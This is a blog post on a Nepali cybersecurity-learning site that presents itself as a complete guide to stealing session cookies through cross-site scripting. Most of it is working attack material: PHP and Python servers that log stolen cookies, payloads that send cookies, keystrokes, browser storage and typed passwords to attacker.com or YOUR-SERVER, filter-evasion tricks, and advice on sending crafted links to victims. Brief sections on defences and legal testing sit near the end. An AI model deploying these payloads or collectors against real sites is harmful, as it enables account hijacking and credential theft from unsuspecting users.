Skip to content
-
Learn Cybersecurity & Ethical Hacking in Nepal with CyberSamir — Start Learning →
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Understanding XSS Cookie Theft & Web Security
Blog

Complete Guide to Stealing Cookies with XSS

By Zed_X
August 8, 2026 3 Min Read
Comments Off on Complete Guide to Stealing Cookies with XSS

What is XSS?

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript into web pages viewed by other users. When executed in a victim’s browser, this code can steal sensitive data like cookies.

How Cookies Work

Cookies are small pieces of data stored in the browser. They often contain session tokens that keep you logged in to websites. If an attacker steals your session cookie, they can impersonate you without needing your password.

Types of XSS

1. Reflected XSS

The injected script bounces off the web server in an error message, search result, or response. It requires the victim to click a crafted link.

Example vulnerable URL:

https://example.com/search?q=<script>alert(1)</script>

2. Stored XSS

The script is permanently stored on the server (database, comment, forum post) and runs when anyone visits the affected page.

3. DOM-based XSS

The vulnerability exists in client-side code rather than server-side. The attack payload modifies the DOM environment.

Step-by-Step: Cookie Stealing Attack

Step 1: Find a Vulnerable Input

Look for input fields that reflect user input without sanitization:

  • Search boxes
  • Comment sections
  • Profile fields
  • URL parameters
  • Contact forms

Test with a simple payload:

<script>alert('XSS')</script>

If an alert box pops up, the site is vulnerable.

Step 2: Set Up a Cookie Collector

You need a server to receive stolen cookies. Here’s a simple PHP collector:

collector.php:

<?php
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'];
$timestamp = date('Y-m-d H:i:s');

$data = "Time: $timestamp\nIP: $ip\nCookie: $cookie\nUser-Agent: $user_agent\nReferer: $referer\n\n---\n\n";

file_put_contents('stolen_cookies.txt', $data, FILE_APPEND);
?>

Or use a Python server:

from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class CookieCollector(BaseHTTPRequestHandler):
    def do_GET(self):
        query = parse_qs(urlparse(self.path).query)
        cookie = query.get('cookie', [''])[0]

        if cookie:
            with open('stolen_cookies.txt', 'a') as f:
                f.write(f"{cookie}\n")
            print(f"[+] Cookie received: {cookie}")

        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

HTTPServer(('0.0.0.0', 8080), CookieCollector).serve_forever()

Using a public request bin service (no server needed):

  • RequestBin
  • Webhook.site
  • Pipedream
  • Burp Collaborator

Step 3: Craft the XSS Payload

Basic payload:

<script>fetch('http://YOUR-SERVER/collector.php?cookie='+document.cookie)</script>

Using Image object (stealthier):

<script>new Image().src='http://YOUR-SERVER/collector.php?cookie='+document.cookie</script>

More reliable version:

<script>
var img = new Image();
img.src = "http://YOUR-SERVER/collector.php?cookie=" + encodeURIComponent(document.cookie);
</script>

Using XMLHttpRequest:

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://YOUR-SERVER/collector.php?cookie=' + document.cookie, true);
xhr.send();
</script>

Bypassing HttpOnly (limited):
If HttpOnly flag is set on cookies, document.cookie won’t access them. Instead, you might need to perform actions as the victim directly.

Step 4: Deliver the Payload

For Reflected XSS:
Craft the malicious URL and send it to victims via email, social media, or embed it in a link:

https://vulnerable-site.com/search?q=<script>new+Image().src='http://YOUR-SERVER/collect.php?c='%2Bdocument.cookie</script>

For Stored XSS:
Simply post the payload as a comment or in a user profile field. Every visitor who views it will send you their cookies.

Real-World Payload Examples

Simple Cookie Theft

<script>document.location='http://attacker.com/log.php?c='+document.cookie</script>

Keylogger (capture everything they type)

<script>
document.onkeypress = function(e) {
    var img = new Image();
    img.src = 'http://attacker.com/log.php?k=' + e.key;
};
</script>

Full Page Hijack

<script>
document.body.innerHTML = '<h1>Session Expired</h1><form action="http://attacker.com/steal.php"><input name="user"><input name="pass" type="password"><input type="submit"></form>';
</script>

Using Fetch API (modern)

<script>
fetch('http://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({cookie: document.cookie, url: location.href})
});
</script>

Evading Filters

Case Variations

<ScRiPt>alert(1)</ScRiPt>

Encoding

<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">

Using Different Tags

<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>

Bypassing Space Filters

<img/src=x/onerror=alert(1)>

JavaScript Protocol

<a href="javascript:alert(document.cookie)">Click me</a>

Complete Attack Script (Combined)

xss_payload.js (host this on your server):

// Steal cookies
var img = new Image();
img.src = 'http://attacker.com/collect.php?cookie=' + encodeURIComponent(document.cookie);

// Steal localStorage
var img2 = new Image();
img2.src = 'http://attacker.com/collect.php?localStorage=' + encodeURIComponent(JSON.stringify(localStorage));

// Steal sessionStorage
var img3 = new Image();
img3.src = 'http://attacker.com/collect.php?sessionStorage=' + encodeURIComponent(JSON.stringify(sessionStorage));

// Submit forms to attacker
var forms = document.getElementsByTagName('form');
for(var i=0; i<forms.length; i++) {
    forms[i].action = 'http://attacker.com/collect.php';
}

Load it with:

<script src="http://attacker.com/xss_payload.js"></script>

Protection Against Cookie Theft

If you’re a developer protecting against this:

  1. Set HttpOnly flag on cookies (prevents JavaScript access)
  2. Set Secure flag (cookies only sent over HTTPS)
  3. Set SameSite attribute (restricts cross-origin requests)
  4. Input validation and output encoding
  5. Content Security Policy (CSP) headers
  6. Use modern frameworks that auto-escape output

Testing Legally

Only test on:

  • Your own applications
  • Bug bounty programs with permission
  • Labs like PortSwigger Web Security Academy, OWASP Juice Shop, or DVWA

Tools for Finding XSS

  • XSStrike – Advanced XSS detection suite
  • Dalfox – Fast parameter analysis and XSS scanning
  • Burp Suite – Web vulnerability scanner
  • Browser DevTools – Manual testing

Quick Reference Card

Advertisement
Payload TypeCode
Basic Alert Test<script>alert(1)</script>
Steal Cookie<script>new Image().src='http://YOUR-IP/?c='+document.cookie</script>
URL Encoded%3Cscript%3Ealert(1)%3C/script%3E
Img Onerror<img src=x onerror=alert(1)>
SVG Onload<svg onload=alert(1)>
Body Onload<body onload=alert(1)>

This covers everything a beginner needs to understand XSS cookie theft from discovery to exploitation.

Tags:

bug bountycybersecurityethical hackingpenetration testing
Author

Zed_X

Follow Me
Other Articles
Illustration of a cracked digital wallet and phishing hook representing eSewa account hacking in Nepal
Previous

How Are eSewa and Digital Wallet Users Getting Hacked? The Real Tricks Scammers Use in Nepal

Next

Secure Developer Conference 2026 to Bring Nepal’s Technology Community to Hetauda

Your ad here

300 x 250 banner slot

Reach Nepali students, developers, and security learners reading about ethical hacking, CTFs, and cyber news.

Book on WhatsApp Or send an email

Sponsors: VPNs, courses, hosting, security tools

Recent Posts

  • How to Recover Money from Online Scam Nepal: 2026 Guide
  • How to Check If Your Data Was Leaked (Nepal 2026 Guide)
  • Is PHP Dead? A 2026 Reckoning
  • Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale
  • How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

Nepal Cyber Shield 2026

Been scammed or hacked?

Act fast: save screenshots, don't delete chats, and report it.

  • 100 Nepal Police emergency line
  • +9779851286770 Nepal Police Cyber Bureau
Report here (Nepal Police) Read the step-by-step reporting guide

Money lost? Call your bank first so they can try to freeze the transfer.

Categories

  • Awareness
  • Blog
  • Career & Learning
  • Cybersecurity
  • Ethical Hacking
  • Nepal Tech & Digital Safety
  • News
  • Penetration testing
  • Tools & Reviews

Latest security alerts

  • pCloud Password Manager Hit by Cyber Attack Involving Email Address Exposure and Login Attempts
  • Suspected Vietnam-Linked Hackers Target Southeast Asia in South China Sea Espionage Campaign
  • Microsoft Store App Found Delivering Vinci RAT Capable of Remote System Control
  • How to Keep Your Security Picture Current When Attackers Move at AI Speed
  • Hackers Trojanize Official Q-Dir and DesktopOK Downloads to Deliver Remote Access Malware
  • Nepal's Digital Systems Under Siege: Cyber Attacks Target Government and Private Sectors - Ratopati
  • Stock Market Trading Halted Due to Cyber Attack on Data Center - Ratopati
  • NEPSE’s ‘technical glitch’ was a ransomware attack. What happened? - OnlineKhabar English News
  • Nepal’s stock market has a bigger problem than a ransomware attack: Everything you need to know - Nepalnews.com
  • Nepal stock market halted after ransomware attack disrupts 72 brokers - The Star

You May Have Missed

how to recover money from online scam Nepal
Awareness

How to Recover Money from Online Scam Nepal: 2026 Guide

cybersamir
By cybersamir
November 28, 2026
data leak check nepal
Awareness

How to Check If Your Data Was Leaked (Nepal 2026 Guide)

cybersamir
By cybersamir
November 26, 2026
Cinematic PHP programming thumbnail with the headline “Is PHP Dead? 2026 Reckoning,” a glowing blue PHP elephant, and CyberSamir branding.
Awareness

Is PHP Dead? A 2026 Reckoning

cybersamir
By cybersamir
October 25, 2026
ctf top 10 selected teams
News

Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale

cybersamir
By cybersamir
October 4, 2026
How to report cybercrime in Nepal Cyber Bureau complaint guide
Awareness

How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

cybersamir
By cybersamir
September 27, 2026
Nepal Data Breach: 462,600 Citizens' IDs Allegedly Leaked," subtext "Dark web forum post claims mass PII theft from a .gov.np portal
News

Nepal Government Portal Allegedly Breached: 462,600 Citizens’ Data Reportedly Listed for Sale on Dark Web

cybersamir
By cybersamir
September 24, 2026
Cybersecurity

Top 10 Security Mistakes Nepali Websites Still Make in 2026

cybersamir
By cybersamir
September 23, 2026
News Cybersecurity

Nepal Data Hub Ransomware Attack: NEPSE Shutdown Explained

cybersamir
By cybersamir
September 23, 2026
News

Nepal Cyber Shield 2026: Everything You Need to Know About Nepal’s National CTF Championship

cybersamir
By cybersamir
September 19, 2026
CS

CYBERSAMIR

Explore. Hack. Secure. Learn.

About Us

CyberSamir provides cutting-edge insights into ethical hacking, penetration testing, and cybersecurity defense strategies for professionals and enthusiasts alike.

500+ Articles
15K+ Members
30+ Tools

Resources

  • Tutorials
  • Our Services
  • Tools
  • CTF Walkthroughs
  • Security News

Community

  • WhatsApp Group
  • Discord Server
  • Telegram Group
  • Upcoming Events
  • Certifications

Follow Us

Cyber Security Events Worldwide

© CyberSamir. All Rights Reserved.

Copyright 2026 — Cyber Samir. All rights reserved. Blogsy WordPress Theme